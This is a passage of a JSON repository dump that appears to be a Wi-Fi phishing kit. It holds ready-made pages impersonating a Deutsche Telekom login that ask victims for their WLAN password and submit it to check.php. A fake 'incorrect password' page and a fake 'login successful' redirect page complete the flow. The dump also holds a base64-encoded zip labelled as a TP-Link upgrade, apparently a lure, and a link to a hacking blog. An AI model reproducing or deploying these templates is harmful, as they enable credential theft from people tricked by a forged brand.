0;\r\n}\r\n\r\n.tbs-text-1em {\r\n    line-height: 1em;\r\n}\r\n\r\n.tbs-text-11 {\r\n    font-size: 11px;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Responsive\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n@media screen and (max-width: 639px) {\r\n    #tbs-nav + #tbs-container {\r\n        padding: 12px 12px 0;\r\n    }\r\n\r\n    #tbs-footer {\r\n        padding: 0 24px 36px;\r\n    }\r\n\r\n    #tbs-footer .pull-right, #tbs-footer .pull-left {\r\n        float: none;\r\n    }\r\n\r\n    #tbs-footer .pull-left {\r\n        margin-top: 12px;\r\n    }\r\n\r\n    h1.marketing-l {\r\n        font-size: 36px;\r\n    }\r\n\r\n    .form-input {\r\n        height: 60px;\r\n        padding-left: 12px;\r\n        padding-top: 24px;\r\n    }\r\n\r\n    .form-input-set .icon-information {\r\n        bottom: 20px;\r\n    }\r\n\r\n    .form-input-set label {\r\n        line-height: 58px;\r\n        transition: all linear 0.10s;\r\n    }\r\n\r\n    .form-input-set.floating label {\r\n        bottom: 36px;\r\n        line-height: 1em;\r\n        font-size: 12px;\r\n        font-weight: 600;\r\n    }\r\n\r\n    /* workaround when the input field is auto filled in Chrome */\r\n    .form-input-set .form-input:-webkit-autofill + label {\r\n        bottom: 36px;\r\n        line-height: 1em;\r\n        font-size: 12px;\r\n        font-weight: 600;\r\n    }\r\n\r\n    .tbs-reauth-label {\r\n        font-size: 12px;\r\n        line-height: 1em;\r\n    }\r\n}\r\n"
  },
  {
    "path": "sites/telekom/error.html",
    "content": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!-->\r\n<html class=\"no-js\" lang=\"de\"><!--<![endif]--><!-- HEAD --><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n        <meta charset=\"UTF-8\">\r\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n        <title>Telekom Login</title>\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"Telekom%20Login-Dateien/components.css\">\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"Telekom%20Login-Dateien/login.css\">\r\n    </head>\r\n    <!-- /HEAD -->\r\n\r\n    <!-- BODY -->\r\n    <body>\r\n        <!-- HEADER -->\r\n        <div id=\"tbs-header\">\r\n            <div id=\"tbs-header-content\">\r\n                <div class=\"container-fixed clearfix\">\r\n                    <div class=\"tbs-text-zero pull-left\">\r\n                        <i class=\"icon icon-large icon-telekom-1T1\"></i>\r\n                        <i class=\"icon icon-large icon-digits\"></i>\r\n                    </div>\r\n                    <div class=\"pull-right\">\r\n                        <p class=\"text-right text-bold text-small tbs-text-upper\">erleben, was verbindet</p>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n        <!-- /HEADER -->\r\n\r\n        <!-- CANCEL FORM -->\r\n        \r\n        <!-- /CANCEL FORM -->\r\n\r\n        <!-- CONTENT -->\r\n        <div id=\"tbs-container\">\r\n            <div id=\"tbs-headline\">\r\n                <h1 class=\"text-center marketing-l text-thin tbs-text-1em\">Telekom Login</h1>\r\n                \r\n            </div>\r\n\r\n            \r\n\t\t<div class=\"error-box\">\r\n                <div class=\"error-box__content\"><i class=\"icon icon-large\">X</i> Das Kennwort ist nicht korrekt.</div>\r\n            </div>\r\n\t\t\t<div id=\"tbs-infobox\">\r\n\t\t\t\t\t<p>Bitte melden Sie sich mit Ihrem WLAN-Kennwort an.</p>\r\n\t\t\t\t\t</div>\r\n            <form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" accept-charset=\"UTF-8\" autocomplete=\"off\">\r\n                <!-- XSRF Prevention -->\r\n                \r\n\r\n                <div class=\"offset-bottom-4\">\r\n                    <!-- Re-Authentication -->\r\n                    <div class=\"container offset-bottom-1\">\r\n                        \r\n                    </div>\r\n\r\n                    <!-- username input -->\r\n                    <div class=\"form-input-set offset-bottom-1\">\r\n                        <input id=\"key1\" name=\"key1\" class=\"form-input\" maxlength=\"256\" tabindex=\"10\" type=\"password\">\r\n                        <label for=\"pw_usr\">WLAN Kennwort</label>\r\n                    </div>\r\n\r\n                    \r\n\r\n                    \r\n\r\n                    <!-- Login button -->\r\n\t\t\t\t\t<br>\r\n                    <div class=\"text-center\">\r\n                        <button id=\"pw_submit\" name=\"pw_submit\" type=\"submit\" class=\"btn btn-brand btn-large tbs-text-upper\" tabindex=\"40\">Login</button>\r\n                    </div>\r\n                </div>\r\n            </form>\r\n\r\n            <div class=\"text-center\">\r\n                \r\n                \r\n            </div>\r\n        </div>\r\n        <!-- /CONTENT -->\r\n\r\n        \r\n\r\n        <!-- FOOTER -->\r\n        <div id=\"tbs-footer\" class=\"sticky\">\r\n    <div class=\"container-fixed\">\r\n        <div class=\"text-small clearfix\">\r\n            <div class=\"pull-left\">\r\n                <p>&copy; 2017 Deutsche Telekom AG</p>\r\n                \r\n            </div>\r\n            <div class=\"pull-right clearfix\">\r\n                <div class=\"pull-left\">\r\n                    <a class=\"offset-right-4\" href=\"https://www.telekom.com/impressum\" target=\"_blank\" tabindex=\"90\">Impressum</a>\r\n                </div>\r\n                \r\n            </div>\r\n        </div>\r\n    </div>\r\n</div>\r\n        <!-- /FOOTER -->\r\n\r\n        <!-- Status -->\r\n        <script>\r\n            var accountLocked = false;\r\n            var accountLockedPermanent = false;\r\n            var accountLockExpiration = 0;\r\n        </script>\r\n\r\n        <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->\r\n        <!--[if lt IE 9]>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/html5shiv.js\"></script>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/respond.min.js\"></script>\r\n        <![endif]-->\r\n\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/jquery-1.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/components.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/login.js\"></script>\r\n\r\n        <!-- Tracking -->\r\n        <!-- Callback Tracking -->\r\n        \r\n\r\n        <!-- Toon Template Debugging -->\r\n        \r\n    \r\n    \r\n\r\n\r\n</body><!-- /BODY --></html>"
  },
  {
    "path": "sites/telekom/final.html",
    "content": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!-->\r\n<html class=\"no-js\" lang=\"de\"><!--<![endif]--><!-- HEAD --><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n        <meta charset=\"UTF-8\">\r\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n        <title>Telekom Login</title>\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"Telekom%20Login-Dateien/components.css\">\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"Telekom%20Login-Dateien/login.css\">\r\n    </head>\r\n    <!-- /HEAD -->\r\n\r\n    <!-- BODY -->\r\n    <body>\r\n        <!-- HEADER -->\r\n        <div id=\"tbs-header\">\r\n            <div id=\"tbs-header-content\">\r\n                <div class=\"container-fixed clearfix\">\r\n                    <div class=\"tbs-text-zero pull-left\">\r\n                        <i class=\"icon icon-large icon-telekom-1T1\"></i>\r\n                        <i class=\"icon icon-large icon-digits\"></i>\r\n                    </div>\r\n                    <div class=\"pull-right\">\r\n                        <p class=\"text-right text-bold text-small tbs-text-upper\">erleben, was verbindet</p>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n        <!-- /HEADER -->\r\n\r\n        <!-- CANCEL FORM -->\r\n        \r\n        <!-- /CANCEL FORM -->\r\n\r\n        <!-- CONTENT -->\r\n        <div id=\"tbs-container\">\r\n            <div id=\"tbs-headline\">\r\n                <h1 class=\"text-center marketing-l text-thin tbs-text-1em\">Telekom Login</h1>\r\n                \r\n            </div>\r\n\r\n        <div class=\"text-center\">\r\n\t\t<div id=\"tbs-infobox\">\r\n\t\t<p><i class=\"icon icon-large\">V</i> Login erfolgreich, Sie werden nun weitergeleitet.</p>\r\n\t\t</div>\r\n\t\t</div>\r\n            \r\n        </div>\r\n        <!-- /CONTENT -->\r\n\r\n        \r\n\r\n        <!-- FOOTER -->\r\n        <div id=\"tbs-footer\" class=\"sticky\">\r\n    <div class=\"container-fixed\">\r\n        <div class=\"text-small clearfix\">\r\n            <div class=\"pull-left\">\r\n                <p>&copy; 2017 Deutsche Telekom AG</p>\r\n                \r\n            </div>\r\n            <div class=\"pull-right clearfix\">\r\n                <div class=\"pull-left\">\r\n                    <a class=\"offset-right-4\" href=\"https://www.telekom.com/impressum\" target=\"_blank\" tabindex=\"90\">Impressum</a>\r\n                </div>\r\n                \r\n            </div>\r\n        </div>\r\n    </div>\r\n</div>\r\n        <!-- /FOOTER -->\r\n\r\n        <!-- Status -->\r\n        <script>\r\n            var accountLocked = false;\r\n            var accountLockedPermanent = false;\r\n            var accountLockExpiration = 0;\r\n        </script>\r\n\r\n        <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->\r\n        <!--[if lt IE 9]>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/html5shiv.js\"></script>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/respond.min.js\"></script>\r\n        <![endif]-->\r\n\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/jquery-1.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/components.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/login.js\"></script>\r\n\r\n        <!-- Tracking -->\r\n        <!-- Callback Tracking -->\r\n        \r\n\r\n        <!-- Toon Template Debugging -->\r\n        \r\n    \r\n    \r\n\r\n\r\n</body><!-- /BODY --></html>"
  },
  {
    "path": "sites/telekom/index.html",
    "content": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!-->\r\n<html class=\"no-js\" lang=\"de\"><!--<![endif]--><!-- HEAD --><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n        <meta charset=\"UTF-8\">\r\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n        <title>Telekom Login</title>\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"Telekom%20Login-Dateien/components.css\">\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"Telekom%20Login-Dateien/login.css\">\r\n    </head>\r\n    <!-- /HEAD -->\r\n\r\n    <!-- BODY -->\r\n    <body>\r\n        <!-- HEADER -->\r\n        <div id=\"tbs-header\">\r\n            <div id=\"tbs-header-content\">\r\n                <div class=\"container-fixed clearfix\">\r\n                    <div class=\"tbs-text-zero pull-left\">\r\n                        <i class=\"icon icon-large icon-telekom-1T1\"></i>\r\n                        <i class=\"icon icon-large icon-digits\"></i>\r\n                    </div>\r\n                    <div class=\"pull-right\">\r\n                        <p class=\"text-right text-bold text-small tbs-text-upper\">erleben, was verbindet</p>\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n        <!-- /HEADER -->\r\n\r\n        <!-- CANCEL FORM -->\r\n        \r\n        <!-- /CANCEL FORM -->\r\n\r\n        <!-- CONTENT -->\r\n        <div id=\"tbs-container\">\r\n            <div id=\"tbs-headline\">\r\n                <h1 class=\"text-center marketing-l text-thin tbs-text-1em\">Telekom Login</h1>\r\n                \r\n            </div>\r\n\t\t\t\t\t<div id=\"tbs-infobox\">\r\n\t\t\t\t\t<p>Bitte melden Sie sich mit Ihrem WLAN-Kennwort an.</p>\r\n\t\t\t\t\t</div>\r\n            \r\n\t\t\r\n            <form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" accept-charset=\"UTF-8\" autocomplete=\"off\">\r\n                <!-- XSRF Prevention -->\r\n                \r\n\t\t\t\t\t\r\n\t\t\t\t\t<div class=\"offset-bottom-4\">\r\n                    <!-- Re-Authentication -->\r\n                    <div class=\"container offset-bottom-1\">\r\n                        \r\n                    </div>\r\n\r\n                    <!-- username input -->\r\n                    <div class=\"form-input-set offset-bottom-1\">\r\n                        <input id=\"key1\" name=\"key1\" class=\"form-input\" maxlength=\"256\" tabindex=\"10\" type=\"password\">\r\n                        <label for=\"pw_usr\">WLAN Kennwort</label>\r\n                    </div>\r\n\r\n                    \r\n\r\n                    \r\n\r\n                    <!-- Login button -->\r\n\t\t\t\t\t<br>\r\n                    <div class=\"text-center\">\r\n                        <button id=\"pw_submit\" name=\"pw_submit\" type=\"submit\" class=\"btn btn-brand btn-large tbs-text-upper\" tabindex=\"40\">Login</button>\r\n                    </div>\r\n                </div>\r\n            </form>\r\n\r\n            <div class=\"text-center\">\r\n\t\t\t\r\n                \r\n                \r\n            </div>\r\n        </div>\r\n        <!-- /CONTENT -->\r\n\r\n        \r\n\r\n        <!-- FOOTER -->\r\n        <div id=\"tbs-footer\" class=\"sticky\">\r\n    <div class=\"container-fixed\">\r\n        <div class=\"text-small clearfix\">\r\n            <div class=\"pull-left\">\r\n                <p>&copy; 2017 Deutsche Telekom AG</p>\r\n                \r\n            </div>\r\n            <div class=\"pull-right clearfix\">\r\n                <div class=\"pull-left\">\r\n                    <a class=\"offset-right-4\" href=\"https://www.telekom.com/impressum\" target=\"_blank\" tabindex=\"90\">Impressum</a>\r\n                </div>\r\n                \r\n            </div>\r\n        </div>\r\n    </div>\r\n</div>\r\n        <!-- /FOOTER -->\r\n\r\n        <!-- Status -->\r\n        <script>\r\n            var accountLocked = false;\r\n            var accountLockedPermanent = false;\r\n            var accountLockExpiration = 0;\r\n        </script>\r\n\r\n        <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->\r\n        <!--[if lt IE 9]>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/html5shiv.js\"></script>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/respond.min.js\"></script>\r\n        <![endif]-->\r\n\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/jquery-1.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/components.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/login.js\"></script>\r\n\r\n        <!-- Tracking -->\r\n        <!-- Callback Tracking -->\r\n        \r\n\r\n        <!-- Toon Template Debugging -->\r\n        \r\n    \r\n    \r\n\r\n\r\n</body><!-- /BODY --></html>"
  },
  {
    "path": "sites/thehackingsage.txt",
    "content": "www.thehackingsageisback.blogspot.com"
  },
  {
    "path": "sites/tplink/Upgrade-TP-LINK.zip_base64.txt",
    "content": "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\n4oatXPHNDZZO1L05Gc/Ff4sWNZDUJRyLLP9D6k